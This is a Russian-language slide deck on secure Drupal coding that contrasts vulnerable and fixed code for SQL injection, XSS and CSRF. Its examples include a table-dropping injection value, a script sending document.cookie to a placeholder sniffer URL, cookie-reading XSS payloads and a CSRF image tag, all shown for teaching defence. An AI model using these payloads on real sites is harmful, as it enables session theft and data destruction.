'

Безопасный код

Понравилась презентация – покажи это...





Слайд 1

Безопасный код © Александр Швец neochief@drupal.pro


Слайд 2

SQL инъекция $result = db_query(' SELECT * FROM users WHERE id = '" + $userID + "'; ‘);


Слайд 3

$userID = "5;DROP TABLE users";


Слайд 4

$result = db_query(' SELECT * FROM users WHERE id = 5;DROP TABLE users; ');


Слайд 5

Неправильно $result = db_query(' SELECT * FROM users WHERE id = '" + $userID + "'; ‘);


Слайд 6

Правильно $result = db_query(' SELECT * FROM users WHERE id = %d ‘, $userID);


Слайд 7

Cross-site scripting (XSS) Основная проблема — кража пользовательских cookies, с помощью которых производится неавторизированный вход на сайт.


Слайд 8

Как крадутся cookie <script> document.write( ‘<img src=“http://site.com/sniff.php?c=‘ + document.cookie + ’/>’ ); </script>


Слайд 9

Уязвимость в реальной жизни $output = ‘<a href=“’. $url .’”>’. $title .’</a>’;


Слайд 10

$title = “</a> <script>alert(document.cookie)</script><a>”;


Слайд 11

<a href=“…”></a> <script>alert(document.cookie)</script> <a></a>


Слайд 12

$url = “javascript:alert(document.cookie)”;


Слайд 13

<a href=“javascript:alert(document.cookie)”>…</a>


Слайд 14

Неправильно $output = ‘<a href=“’. $url .’”>’. $title .’</a>’;


Слайд 15

Правильно $output = ‘<a href=“’. check_url($url) .’”>’. check_plain($title) .’</a>’;


Слайд 16

Еще лучше $output = l($title, $url);


Слайд 17

Фильтрация ввода — лечение от XSS check_plain() check_markup() ckeck_url() t() filter_xss_admin()


Слайд 18

Подделка межсайтовых запросов (CSRF) <a href=“http://site.com/fast_delete_node”> Быстро удалить документ </a>


Слайд 19

А что если? <img src=“http://site.com/fast_delete_node”/>


Слайд 20

Лечение CSRF Управляющий код должен выполняться только в обработчиках форм, либо с проверкой токенов.


Слайд 21

Спасибо за внимание! Контакты: Александр Швец neochief@drupal.pro Ссылки: http://drupaldance.com/lessons/secure-code-user-input http://drupaldance.com/lessons/secure-code-database-layer http://drupaldance.com/lessons/secure-code-csrf


×

HTML:





Ссылка: